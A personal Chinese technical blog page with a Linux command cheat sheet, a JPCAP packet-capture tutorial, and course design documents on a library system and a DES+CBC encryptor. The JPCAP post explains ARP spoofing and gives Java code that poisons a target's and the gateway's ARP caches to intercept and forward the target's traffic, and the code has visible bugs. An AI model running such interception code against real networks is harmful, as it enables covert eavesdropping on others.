Yanxin's profile登高望远PhotosBlogListsMore Tools Help

Blog


    1/10/2009

    Linux初学者常用命令

    现在的Linux图形管理界面越来越强大了,但是还是有些操作用命令行更方便。
    前几天老有人加我QQ问我一些很奇怪的问题,希望有想学习Linux的朋友可以系统的先看一些基本操作方式和常用的命令。至少不用去问别人一些感觉奇怪的问题,这就像一个刚学电脑的朋友问怎么开机一样。不会开机用什么电脑呢?
    在网上找了一份完整一点的Linux初学者常用命令,希望能够帮助到想学习Linux的朋友。

    没必要全部都记住,又不是去做网管。稍微明白记住一点就够用了。
    下载Linux命令PDF请点击这里

    NO 分类 PS1 命令名 用法及参数 功能注解
    1 文件管理 # ls ls -a 列出当前目录下的所有文件,包括以.头的隐含文件
    文件管理 # ls ls -l或ll 列出当前目录下文件的详细信息
    文件管理 # pwd pwd 查看当前所在目录的绝对路经
    文件管理 # cd cd .. 回当前目录的上一级目录
    文件管理 # cd cd - 回上一次所在的目录
    文件管理 # cd cd ~ 或 cd 回当前用户的宿主目录
    文件管理 # cd cd ~用户名 回指定用户的宿主目录
    2 文件管理 # mkdir mkdir 目录名 创建一个目录
    文件管理 # mkdir mkdir –p 递归式去创建一些嵌套目录
    文件管理 # rmdir Rmdir 空目录名 删除一个空目录
    3 文件管理 # rm rm 文件名 文件名 删除一个文件或多个文件
    文件管理 # rm rm -rf 非空目录名 递归删除一个非空目录下的一切,不让提式-f
    4 文件管理 # cat cat文件名 一屏查看文件内容
    5 文件管理 # more more文件名 分页查看文件内容
    6 文件管理 # less less 文件名 可控分页查看文件内容
    7 文件管理 # grep grep字符 文件名 根据字符匹配来查看文件部分内容
    8 文件管理 # mv mv 路经/文件 /经/文件 移动相对路经下的文件到绝对路经下
    文件管理 # mv mv 文件名 新名称 在当前目录下改名
    9 文件管理 # cp cp /路经/文件 ./ 移动绝对路经下的文件到当前目录下
    10 文件管理 # find find 路经 -name “字符串” 查找路经所在范围内满足字符串匹配的文件和目录
    11 文件管理 # ln ln 源文件 链接名 创建当前目录源文件的硬链接
    ln /home/test /usr/test1 在/usr下建立/home/test的硬链接
    12 文件管理 # ln Ln -s a b 创建当前目录下a的符号链接b
    13 文件管理 # touch touch file1 file2 创建两个空文件
    14 磁盘管理 # df df 用于报告文件系统的总容量,使用量,剩余容量。
    15 磁盘管理 # du du -b /home 查看目前/HOME目录的容量(k)及子目录的容量(k)。
    16 磁盘管理 # fdisk fdisk -l 查看系统分区信息
    17 磁盘管理 # fdisk fdisk /dev/sdb 为一块新的SCSI硬盘进行分区
    18 磁盘管理 # mkfs.ext3 Mkfs.ext3 /dev/sdb1
    为第一块SCSI硬盘的第一主分区格式化成
    ext3的文件系统
    mkfs.ext2 Mkfs.ext2/dev/sdb2 格式化成ext2文件系统
    19 磁盘管理 # mount mount -t 文件系统类型 设备路经 访问路经
    磁盘管理 # 文件系统类型
    Iso9660 光驱文件系统
    vfat Fat文件系统(windows)
    挂载光驱 # mount –t iso9660 /dev/cdrom /mnt/cdrom
    挂载FAT # mount –t vfat /dev/hda5 /mnt/cdrom 挂第一个ide的第五个逻辑分区
    17 磁盘管理 # Umount /mnt/cdrom 卸载/mnt/cdrom为空
    18 文件权限 # chmod chmod u+s file 为file的属主加上特殊权限
    chmod g+r file 为file的属组加上读权限
    chmod o+w file 为file的其它用户加上写权限
    chmod a-x file 为file的所有用户减去执行权限
    chmod 765 file 为file的属主设为完全权限,属组设成读写权,其它用户具有读和执心权限
    19 文件权限 # chown chown root /home 把/home的属主改成root用户
    20 文件权限 # chgrp chgrp root /home 把/home的属组改成root组
    21 打印管理 # redhat-config-printer-tui 进入安装打印机界面
    22 打印管理 # lp lp –d hptr file 打印file到hptr的打印机上
    23 打印管理 # lpq Lpq –P 打印机名 查看打印机的状态
    24 打印管理 # lprm Lprm –P 打印机名 a 删除打印机内的打印作业
    25 打印管理 # disable Disable –r “changing paper” HPtr 禁用打印机并提示原因
    26 打印管理 # enable Enable HPtr 重新启用被禁用的
    27 用户管理 # useradd Useradd 创建一个新的用户
    28 用户管理 # groupadd Groupadd 组名 创建一个新的组
    29 用户管理 # passwd Passwd 用户名 为用户创建密码
    30 用户管理 # Passwd -d Passwd -d用户名 删除用户密码也能登陆
    31 用户管理 # Passwd -l Passwd -l用户名 锁定账号密码
    32 用户管理 # Passwd -u Passwd -u用户名 解锁账号密码
    33 用户管理 # Passwd -S Passwd -S用户名 查询账号密码
    34 用户管理 # Usermod -l Usermod -l 新用户名 老用户名 为用户改名
    35 用户管理 # Usermod -L Usermod -L 要锁定用户名 锁定用户登陆
    36 用户管理 # Usermod -U Usermod –U解锁用户名 解锁用户登陆
    37 用户管理 # Usermod -u Usermod –u 501用户名 改变用户UID
    38 用户管理 # Userdel Userdel–r 用户名 删除用户一切
    39 用户管理 # Groupmod -n Groupmod –n新用户名 老用户名 为组改名
    40 用户管理 # Groupmod -g Groupmod –g 501 组名 改变组GID
    41 用户管理 # groupdel Groupdel组名 先应删它的用户 删除组
    42 用户管理 # gpasswd -a gpasswd -a 用户名 组名 增加用户到组
    43 用户管理 # Id id 用户名 查用户信息
    44 软件管理 # rpm -qa rpm –qa | less 查询已安装RPM
    45 软件管理 # rpm –qa | grep ftp 查询指定RPM
    46 软件管理 # rpm -q rpm -q 已安装的RPM包 查是否安装
    47 软件管理 # rpm -q telnet-server 查看telnet服务器包
    48 软件管理 # rpm -qi rpm –qi 软件包名称 查看软件的描述信息
    49 软件管理 # rpm -ql rpm –ql软件包名称 查询软件包的文件列表
    50 软件管理 # rpm -qf rpm –qf软件包名称 查询某个文件所属的软件包
    51 软件管理 # rpm -qp rpm –qp软件包全名 查询未安装的软件包信息
    52 软件管理 # rpm -e rpm –e 软件包名称 删除具体的软件包
    53 软件管理 # rpm -U rpm –Uvh软件包全名 升级软件包并显示过程
    54 软件管理 # rpm -ivh rpm –ivh 软件包全名 安装软件包并显示过程
    55 软件管理 # rpm -V rpm –V软件包名称 验证软件包的大小,类型等
    56 软件管理 # tar -c 创建包 –x 释放包 -v 显示命令过程 –z 代表压缩包
    57 软件管理 # tar -cf tar –cvf benet.tar /home/benet 把/home/benet目录打包
    58 软件管理 # tar -czf tar –zcvf benet.tar.gz /mnt 把目录打包并压缩
    59 软件管理 # tar –tf tar –tf benet.tar 看非压缩包的文件列表
    60 软件管理 # tar –tzf tar –tf benet.tar.gz 看压缩包的文件列表
    61 软件管理 # tar –xf tar –xf benet.tar 非压缩包的文件恢复
    62 软件管理 # tar –zxvf tar –zxvf benet.tar.gz 压缩包的文件解压恢复
    63 软件管理 # tar -jxvf tar –jxvf benet.tar.bz2
    64 软件管理 # diff diff file1 file2 > 补丁名.patch 为新旧文件生成补丁文件
    65 软件管理 # diff diff file1 file2 比较两个文件的区别
    66 软件管理 # Patch Patch file补丁名.patch 打补丁
    67 软件管理 # ./configure –prefix=/usr/local/ 编译前配置
    68 软件管理 # make 编译
    69 软件管理 # make install 安装编译好的源码包
    70 启动管理 # reboot Init 6 重启LINUX系统
    71 启动管理 # Halt Init 0 Shutdown –h now 关闭LINUX系统
    72 启动管理 # runlevel 显示系统运行级
    73 启动管理 # Init [0123456] 改变系统运行级,7种
    74 启动管理 # Chkconfig –-list [服务名称] 查看服务的状态
    75 启动管理 # Chkconfig –-level <运行级> <服务名> on|off|set 设置服务的启动状态
    76 启动管理 # Chkconfig <服务名> on|off|set 设置非独立服务启状态
    77 进程管理 # Top动态 Ps-aux静态 进程树pstree 查看系统进程
    78 进程管理 # 程序名 & 后台运行程序
    79 进程管理 # fg 把后台运行的进程调回前台
    80 进程管理 # bg 把前台运行进程调到后台
    81 进程管理 # renice Renice +1 180 把180号进程的优先级加1
    82 进程管理 # kill Kill PID 终止某个PID进程
    83 进程管理 # at at 5pm + 3 days
    /bin/ls 指定三天后下午5:00执行/bin/ls
    84 进程管理 # crontab Crontab -e 用VI的形式来编辑自动周期性任务
    85 进程管理 # crontab Crontab -l 查看自动周期性任务
    86 进程管理 # crontab Crontab -r 删除自动周期性任务
    87 进程管理 # crond Service crond
    马上启动自动周期性服务 Service crond <启动|停止|重启|状态>

    实现磁盘配额 (注安装LINUX时建立/home分区)
    目标:对用户zhao在/home目录上实现soft limit为5k,hard limit 为10k的磁盘配额
    实现步骤:
    1. 修改包含/home的行, #vi /etc/fstab, 改为:defaults,usrquota。也就是增加usrquota项。然后保存退出。
    2、卸载/home目录 #umount /home
    3. 挂接/home目录 #mount /home
    4、增加用户zhao #useradd zhao
    5、修改密码 #passwd zhao
    6、生成关于/home目录的quota信息 # quotacheck -cmug /home
    #quotacheck -vu /home
    7、查看所有用户的信息 #repquota -au
    8、设置配额 #edquota -u zhao
    将soft 和hard 分别改为5和10
    9、保存并退出 #wq!
    10、修改时间 #edquota -t
    11、 #wq!
    12.开启/home上的磁盘配额功能 #quotaon /home
    13.查询配额 #quota -u zhao
    14.验证配额 #su - zhao
    $touch myfile

    11/4/2008

    JPCAP——Java中的数据链路层控制

    一.JPCAP简介
      众所周知,JAVA语言虽然在TCP/UDP传输方面给予了良好的定义,但对于网络层以下的控制,却是无能为力的。JPCAP扩展包弥补了这一点。
      JPCAP实际上并非一个真正去实现对数据链路层的控制,而是一个中间件,JPCAP调用wincap/libpcap,而给JAVA语言提供一个公共的接口,从而实现了平台无关性。在官方网站上声明,JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。
    二.JPCAP机制
      JPCAP的整个结构大体上跟wincap/libpcap是很相像的,例如NetworkInterface类对应wincap的typedef struct _ADAPTERADAPTER,getDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类,下面就其中最重要的4个类做说明。

      1.NetworkInterface
      该类的每一个实例代表一个网络设备,一般就是网卡。这个类只有一些数据成员,除了继承自java.lang.Object的基本方法以外,没有定义其它方法。


    数据成员

      NetworkInterfaceAddress[]  
    java.lang.String datalink_description. 数据链路层的描述。描述所在的局域网是什么网。例如,以太网(Ethernet)、无线LAN网(wireless LAN)、令牌环网(token ring)等等。
    java.lang.String datalink_name 该网络设备所对应数据链路层的名称。具体来说,例如Ethernet10M、100M、1000M等等。
    java.lang.String description 网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述:Realtek RTL8169/8110 Family Gigabit Ethernet NIC
    boolean Loopback 标志这个设备是否loopback设备。
    byte[] mac_address 网卡的MAC地址,6个字节。
    java.lang.String Name 这个设备的名称。例如我的网卡名称:\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}

      2.JpcapCaptor
      该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接,可以通过该类的实例来控制设备,例如设定网卡模式、设定过滤关键字等等。

    数据成员

    int

    dropped_packets

    抛弃的包的数目。
    protected int ID

    这个数据成员在官方文档中并没有做任何说明,查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的,这类本身并没有做出定义,所以是供其内部使用的。实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。

    protected staticboolean[]

    instanciatedFlag

    同样在官方文档中没有做任何说明,估计其为供内部使用。

    protected staticint

    MAX_NUMBER_OF_INSTANCE

    同样在官方文档中没有做任何说明,估计其为供内部使用。

    int

    received_packets

    收到的包的数目

    方法成员

    staticNetworkInterface[]

    getDeviceList()

    返回一个网络设备列表。

    staticJpcapCaptor

    openDevice(NetworkInterface interface, intsnaplen, booleanpromisc, intto_ms) 创建一个与指定设备的连接并返回该连接。

    Interface:要打开连接的设备的实例;
    Snaplen:这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包,而是限制每一次收到一个数据包,只提取该数据包中前多少字节;
    Promisc:设置是否混杂模式。处于混杂模式将接收所有数据包,若之后又调用了包过滤函数setFilter()将不起任何作用;
    To_ms:这个参数主要用于processPacket()方法,指定超时的时间;

    void

    Close()

    关闭调用该方法的设备的连接,相对于openDivece()打开连接。

    JpcapSender

    getJpcapSenderInstance()

    该返回一个JpcapSender实例,JpcapSender类是专门用于控制设备的发送数据包的功能的类。

    Packet

    getPacket() 捕捉并返回一个数据包。这是JpcapCaptor实例中四种捕捉包的方法之一。
    int loopPacket(intcount, PacketReceiver handler)

    捕捉指定数目的数据包,并交由实现了PacketReceiver接口的类的实例处理,并返回捕捉到的数据包数目。如果count参数设为-1,那么无限循环地捕捉数据。
    这个方法不受超时的影响。还记得openDivice()中的to_ms参数么?那个参数对这个方法没有影响,如果没有捕捉到指定数目数据包,那么这个方法将一直阻塞等待。
    PacketReceiver中只有一个抽象方法void receive(Packet p)。

    int

    processPacket(intcount, PacketReceiver handler) 跟loopPacket()功能一样,唯一的区别是这个方法受超时的影响,超过指定时间自动返回捕捉到数据包的数目。

    int

    dispatchPacket(intcount, PacketReceiverhandler) 跟processPacket()功能一样,区别是这个方法可以处于“non-blocking”模式工作,在这种模式下dispatchPacket()可能立即返回,即使没有捕捉到任何数据包。
    void

    setFilter(java.lang.Stringcondition, booleanoptimize)

    condition:设定要提取的包的关键字。
    Optimize:这个参数在说明文档以及源代码中都没有说明,只是说这个参数如果为真,那么过滤器将处于优化模式。

    void

    setNonBlockingMode(booleannonblocking)

    如果值为“true”,那么设定为“non-blocking”模式。

    void breakLoop() 当调用processPacket()和loopPacket()后,再调用这个方法可以强制让processPacket()和loopPacket()停止。

      3.JpcapSender
      该类专门用于控制数据包的发送。

    方法成员

    void

    openRawSocket()

    这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。

      sendPacket(Packet packet)

    JpcapSender最重要的功能,发送数据包。需要注意的是,如果调用这个方法的实例是由JpcapCaptor的getJpcapSenderInstance()得到的话,需要自己设定数据链路层的头,而如果是由上面的openRawSocket()得到的话,那么无需也不能设置,数据链路层的头部将由系统自动生成。

      4.Packet
      这个是所有其它数据包类的父类。Jpcap所支持的数据包有:
    ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket

    三.使用JPCAP实现监听
      1.监听原理 
      在详细说用JPCAP实现网络监听实现前,先简单介绍下监听的原理。
      局域网监听利用的是所谓的“ARP欺骗”技术。在以前曾经一段阶段,局域网的布局是使用总线式(或集线式)结构,要到达监听只需要将网卡设定为混杂模式即可,但现在的局域网络普遍采用的是交换式网络,所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的,我们需要“欺骗”路由器、“欺骗”交换机,即“ARP欺骗”技术。
      假设本机为A,监听目标为B。
      首先,伪造一个ARP REPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入网关IP,目的地址填入B的MAC、IP,然后将这个包发送给B,而B接收到这个伪造的ARP REPLY包后,由于源IP为网关IP,于是在它的ARP缓存表里刷新了一项,将(网关IP,网关MAC)刷新成(网关IP,A的MAC)。而B要访问外部的网都需要经过网关,这时候这些要经过网关的包就通通流到A的机器上来了。
      接着,再伪造一个ARP REPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入网关MAC、IP,然后将这个包发给网关,网关接收到这个伪造的ARP REPLY包后,由于源IP为B的IP,于是在它的ARP缓存表里刷新了一项,将(B的IP,B的MAC)刷新成(B的IP,A的MAC)。这时候外部传给B的数据包经过网关时,就通通转发给A。
      这样还只是拦截了B的数据包而已,B并不能上网——解决方法是将接收到的包,除了目的地址部分稍做修改,其它原封不动的再转发出去,这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包。

      2.用JPCAP实现监听
      就如上面说的,为了实现监听,我们必须做四件事:
      A.发送ARP包修改B的ARP缓存表;
      B.发送ARP包修改路由ARP缓存表;
      C.转发B发过来的数据包;
      D.转发路由发过来的数据包;
      下面我们给个小小的例子说明怎样实现。
          我们假定运行这个程序的机器A只有一个网卡,只接一个网络,所在局域网为Ethernet,并且假定已经通过某种方式获得B和网关的MAC地址(例如ARP解析获得)。我们修改了B和网关的ARP表,并对他们的包进行了转发。

    public class changeARP{
     private NetworkInterface[] devices; //设备列表
     private NetworkInterface device; //要使用的设备
     private JpcapCaptor jpcap; //与设备的连接
     private JpcapSender sender; //用于发送的实例
     private byte[] targetMAC, gateMAC; //B的MAC地址,网关的MAC地址
     private byte[] String targetIp, String gateIp; //B的IP地址,网关的IP地址
     /**
     *初始化设备
     * JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic
     *dialup adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
     *注意:在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
     *JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
     *虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分
     *配给虚拟网卡,也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。
     */
     private NetworkInterface getDevice() throws IOException {
      devices = JpcapCaptor.getDeviceList(); //获得设备列表
      device = devices[0];//只有一个设备
      jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
      jpcap.setFilter(“ip”,true); //只监听B的IP数据包
      sender = captor.getJpcapSenderInstance();
     }
     /**
     *修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表,所以必须每隔一
     *段时间就发一次包重新更改B和网关的ARP表。
     *@参数 targetMAC B的MAC地址,可通过ARP解析得到;
     *@参数 targetIp B的IP地址;
     *@参数 gateMAC 网关的MAC地址;
     */
     public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
     throws UnknownHostException,InterruptedException {
      this. targetMAC = targetMAC;
      this. targetIp = targetIp;
      this. gateMAC = gateMAC;
      this. gateIp = gateIp;
      getDevice();
      arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
      arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)
      arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型
      arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型
      arpTarget.hlen = 6; //MAC地址长度固定6个字节
      arpTarget.plen = 4; //IP地址长度固定4个字节
      arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
      arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP
      arpTarget.target_hardaddr = targetMAC; //B的MAC地址
      arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP
      EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
      ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//选择以太包类型
      ethToTarget.src_mac = device.mac_address; //A的MAC地址
      ethToTarget.dst_mac = targetMAC; //B的MAC地址
      arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前
      arpGate = new ARPPacket(); //修改网关ARP表的包
      arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似,不再重复注析
      arpGate.prototype = ARPPacket.PROTOTYPE_IP;
      arpGate.operation = ARPPacket.ARP_REPLY;
      arpGate.hlen = 6;
      arpGate.plen = 4;
      arpGate.sender_hardaddr = device.mac_address;
      arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
      arpGate.target_hardaddr = gateMAC;
      arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
      EthernetPacket ethToGate = new EthernetPacket();
      ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
      ethToGate.src_mac = device.mac_address;
      ethToGate.dst_mac = gateMAC;
      arpGate.datalink = ethToGate;
      thread=new Thread(new Runnable(){ //创建一个进程控制发包速度
      public void run() {
       while (true) {
        sender.sendPacket(arpTarget);
        sender.sendPacket(arpGate);
        Thread.sleep(500);
       }).start();
       recP(); //接收数据包并转发
      }
      /**
      *修改包的以太头,转发数据包
      *参数 packet 收到的数据包
      *参数 changeMAC 要转发出去的目标
      */
      private void send(Packet packet, byte[] changeMAC) {
       EthernetPacket eth;
       if (packet.datalink instanceof EthernetPacket) {
        eth = (EthernetPacket) packet.datalink;
        for (int i = 0; i < 6; i++) {
         eth.dst_mac[i] = changeMAC[i]; //修改包以太头,改变包的目标
         eth.src_mac[i] = device.mac_address[i]; //源发送者为A
        }
        sender.sendPacket(packet);
       }
      }
      /**
      *打印接受到的数据包并转发
      */
      public void recP(){
       IPPacket ipPacket = null;
       while(true){
        ipPacket = (IPPacket)jpcap.getPacket();
        System.out.println(ipPacket);
        if (ipPacket.src_ip.getHostAddress().equals(targetIp))
         send(packet, gateMAC);
        else
         send(packet, targetMAC);
       }
      }
    注意:这个例子只是为了说明问题,并没有考虑到程序的健壮性,所以并不一定能在任何一台机器任何一个系统上运行。

    12/11/2007

    团书馆管理系统设计文档

    1.            设计目的

    该实验使用交互式网页模拟对图书馆的各项管理操作。实现从前台网页连接后台数据库的不同功能操作。对于不同用户赋予不同权限,并实现各种不同权限的操作。并能够检索书库中各种书目,并对其进行增加,修改,删除,借阅,预定,归还,生成罚单等各种动作。有效的管理图书馆中各个用户,实现修改,删除,验证,增加等任务。

    2.            技术准备

    前台网页设计

    Html + CSS + JSTL

    实现对网页的统一管理,在页面中全部为静态网页代码,并使用CSS对对页面排版进行统一管理。网页中的部分逻辑采用JSTL标签库管理。使在前台中仅实现MVC模型中的View功能,方便后期管理。

    交互式网页逻辑

             Jsp1.4 + Struts1.2

             后台使用框架结构实现网页中各种逻辑,完成对数据库的前台管理。

    后台服务端

             Tomcat6.0 + jdk1.6.0

    数据库

             MySql5.0 + JDBC5.1.5

             数据库采用JDBC完成对网页逻辑与后台数据的交互。

    3.            网页逻辑实现原理

    a)         用户个人信息管理

                             i.              package com.library.DBcontrol.register

                          ii.              package com.library.DBcontrol.changeInformation

    b)         图书基本操作管理

                             i.              package com.libarary.DBcontrol.borrowBooks

                          ii.              package com.libarary.DBcontrol.search

    c)         用户登录验证

                             i.              package com.library.DBcontrol.DBconnect

           d)         图书馆管理

                             i.              package com.library.DBconnect.manager

    1.  处理作者信息

    2.  处理出版社信息

    3.  处理用户信息

    4.  处理罚单信息

    5.  处理管理员信息

    6.  处理图书信息

    4.            数据库设计

    详见DBdesign.sql

    5.            总结

    对于布置这次试验主要目的是完成对数据库的各项操作,包括建表,sql使用,数据管理。从而加深了对数据库的认识,将所学运用在实践当中。

    当然也通过这次试验,加深了对struts技术的理解与使用。理解了MVC模型的使用,加深对页面间各属性值生存周期的认识。

             对于此次试验的缺憾是开发进度过于缓慢,使用了2周时间才完成项目。主要是对Struts框架使用的不熟悉,以及在项目过程中现学现用的cssJSTL,不过在有了这次的经验后相信会对今后的项目开发起到一定的促进作用。

    11/1/2007

    加解密程序设计文档

    1.       总述

    这个程序使用标准DES+CBC加密解密算法对文件进行加解密操作。并设定初始CBC为全0。程序中对于轮迭代所需密钥进行一次生成,避免每次加密解密过程中需要重复生成相同密钥,提高程序工作效率。此程序具有良好的可扩展性,由于轮迭代所需要密钥都已生成,所以可以在轮迭代与轮迭代中进行自由切换,从而既可以产生符合标准DES过程的输出结果,又满足赵老师课堂所布置的要求。

    2.       界面设计

            

          界面使用windows.forms调用,生成窗口如上。

        在窗口密钥输入框中输入不超过8个字符密钥,选择加密方式,填入/选择输入文件和输出文件路径。点击加密解密按钮就可以实现加解密过程。

        其中密钥输入框限定字符输入最大为8位,同时默认加解密为4轮迭代DES加解密。输入文件路径和输出文件路径均可以自己填写或者由右边按钮进行选取。

    3.       各函数综述

        程序主要包含5个主要文件。Program.cs---主函数,启动一个窗体。Windows.cs---窗体代码。实现函数大部分功能。EncodeP.csDecodeP.cs分别为加解密函数。Keys.cs为迭代所需密钥生成函数。下面对各文件中的主要函数进行说明:

    A.        函数名MakeEncodeKey

    a)         文件地址

    Keys.cs

    b)         原形

    public void MakeEncodeKey()

    c)         功能描述

    从用户处取得一个位二进制密码keyin ,去除位密码中作为奇偶校验位(Pc1变化),剩下的位作为有效输入密钥,分成左半部分和右半部分KeyLeft,KeyRight。对两部分按ToSort进行循环左移。再将两部分进行拼接,完成后进行Pc2变化,生成位二进制密钥。将此过程重复次,即生成最多16次迭代所需密钥。当然此时必满足4次迭代需要。

    d)         返回值说明

    e)         参数说明

    String KeyText 从文本框中读入密钥

            Byte[] keyin      将读入字符型密钥装换成的64位二进制密钥

    Byte[,] KeyLeft, KeyRight         每轮变换后的密钥

    Byte[,] keyout  产生的16轮变换密钥

    B.        函数名MakeCode

    a)         文件地址

    EncodeP.cs/DecodeP.cs

    b)         原形

    public void MakeCode()

    c)         功能描述

    DES(bit)位的明文分组M进行操作,M经过一个初始置换IP置换成m0,将m0明文分成左半部分和右半部分m0=(CodeLeft,CodeRight),各位长。然后进行ChangeTimes轮完全相同的运算,这些运算被称为函数f。首先将CodeRight扩展至位暂存到TempCode,然后和相应迭代密钥异或,再进行S盒变换和P盒变换。接下来与CodeLeft进行异或。最后交换CodeRightCodeLeft。最后将CodeRightCodeLeft拼接在一起,得到密文。解密运算的时候仅交换异或密钥顺序。

    d)         返回值说明

    e)         参数说明

    Int32 ChangeTimes 函数进行DES加解密时所要迭代次数

    Byte[] Incode,Outcode 八位字符型输入、输出

    Byte[] incodeByte,outcodeByte 64位二进制输入、输出

    Byte[,] Keys每轮迭代所需密钥

    Byte[,] CodeLeft,CodeRight 明文变换过程中左半部分与右半部分

    C.        函数名CBCin

    a)         文件地址

    Windows.cs

    b)         原形

    private void CBCin(Int32 Num)

    c)         功能描述

    读取此次CBC加密的数据位数Num。当Num = 8时对每一位都与之前的加密后数据进行异或。当Num != 8时,首先得出末尾需有几位空字符,在这些空字符处第一位填空字符数目,剩下字符填0。与输入文本进行异或的code存在CBCText中。

    d)         返回值说明

    e)         参数说明

    Int32 Num 此次加密数据位数

    Byte[] CBCText 暂存待与输入异或密文

    Byte[] InputText 待异或的明文

    D.        函数名CBCout

    a)         文件地址

    Windows.cs

    b)         原形

    private Int32 CBCout(Boolean End)

    c)         功能描述

    读取此次CBC解密是否为最后一次解密,返回此次解密有效位。当End = true时对每一位都与之前的读入数据进行异或,然后函数返回8(全有效)。当End != true时,从末尾开始扫描。如果末尾为0继续往前扫描,直道出现数值与扫描次数相等。此时得到数字为末尾无效字符数,则函数返回8 - i(末尾有效字符数)。与输出文本进行异或的code存在CBCText

    d)         返回值说明

    返回此次解密后输出有效位数

    e)         参数说明

    Boolean End 此次解密是否为最后一次

    Byte[] CBCText 暂存待与输出异或密文

    Byte[] InputText 待异或的明文

    4.       雪崩效应分析

    A.        相同密钥下明文改变任一位时密文的位差异情况

    输入明文:61 62 63 64 65 66 67 68 (abcdefgh)

    密钥A31 32 33 34 35 36 37 38 (12345678)

    密钥B33 32 33 34 35 36 37 39 (32345679)

    密文A0C 9D 02 3C 66 46 4A 18

    密文B14 89 81 C1 3E 50 ED 5C

    得到完全不一样密文

     

    B.        相同明文下密钥改变任一位时密文的位差异情况

    输入密钥:31 32 33 34 35 36 37 38 (12345678)

    明文A61 62 63 64 65 66 67 68 (abcdefgh)

    明文B61 62 63 64 65 66 67 69 (abcdefgi)

    密文A0C 9D 02 3C 66 46 4A 18

    密文B8A 18 BF 85 39 82 F5 4C

    得到完全不一样密文

     

    说明明文或者密钥的一点小的变化使密文发生一个大的变化。DES+CBC雪崩效应很强。

    10/19/2007

    人不能太无耻---关于汉语编程有感

          最近关于汉语编程弄得沸沸扬扬,本来本着看热闹的心态看看这事情会怎么发展下去,可是发现的只是某些人的牛皮吹大了,大到我只能用无耻来形容了。这种事情骗骗外行装装高手也就算了,可是弄到开始骗国家的研究经费,也就是我们纳税人的钱的地步就让人感到可恨了。这个是汉语编程的网址www.hybcw.com,没事的时候可以当笑话来看看。下面转载了别人的一篇技术分析文章,对于这种事情我也懒得写了。
     
    以下是转载文章 

    一、闹得沸沸扬扬的汉语编程
          这几年以来,特别是最近一段时间,汉语编程闹得沸沸扬扬,大有我中华民族之骄傲,如果不加紧实行汉语编程,中华民族就要消失了。徽剑本对于汉语编程不以为然,一直没有理会。之所以写这篇文章,是因为徽剑前几天接到一电话,是北京一家公司打过来的,大谈推广汉语编程,要跟徽剑的公司合作在深圳推广,于是徽剑查了一下资料,发现这两年所谓的汉语编程这场闹剧居然愈演愈烈,于是徽剑不得不出来揭露下。对比去年的汉芯事件,徽剑认为,所谓的汉语编程只不过是另一场汉芯的重演而已。所以看完本文,特别是程序员朋友,如果您认为徽剑说的有理,请将本文多多转发到各种论坛,揭露这场骗局。
          先来看新闻,2007年09月《通信产业报》以“汉语编程异军突起民族产业出黑马”为题发表了一篇文章。开头是这样:
          “当今世界,科技突飞猛进。网络改变了人们的生活和思维,成为人们学习和工作不可或缺的一部分。人们点击鼠标进行学习、工作和接收外界信息的时候,计算机程序设计语言在其中起到了至关重要的作用。很多年来,我们一直在使用国外的编程语言,人们已经习惯了用C语言、JAVA等计算机语言编写应用程序,实现人与计算机的完美对话。但是朋友您知道吗,真正属于我们自己的计算机程序设计语言——汉语编程已经问世,而且已经在诸多领域发挥了重要的作用。”
          然后文章介绍了汉语编程:
          “汉语编程萌发于1984年,1994年获得国家发明专利。汉语程序设计语言,不是对计算机语言的简单汉化,也不是为某种软件制造一个中文环境,而是中国人自已掌握全部源代码,使用汉字信息指令,从计算机底层入手,使计算机的中央处理器(CPU)能够处理存储器中的汉字词典,从而实现计算机对汉字程序的识别,不受现行操作系统控制的技术系统,且完全拥有独立的自主知识产权。”(呵呵,这段话里面的问题就先不说了)
          在文章的末尾,还上升到了民族大义的高度:
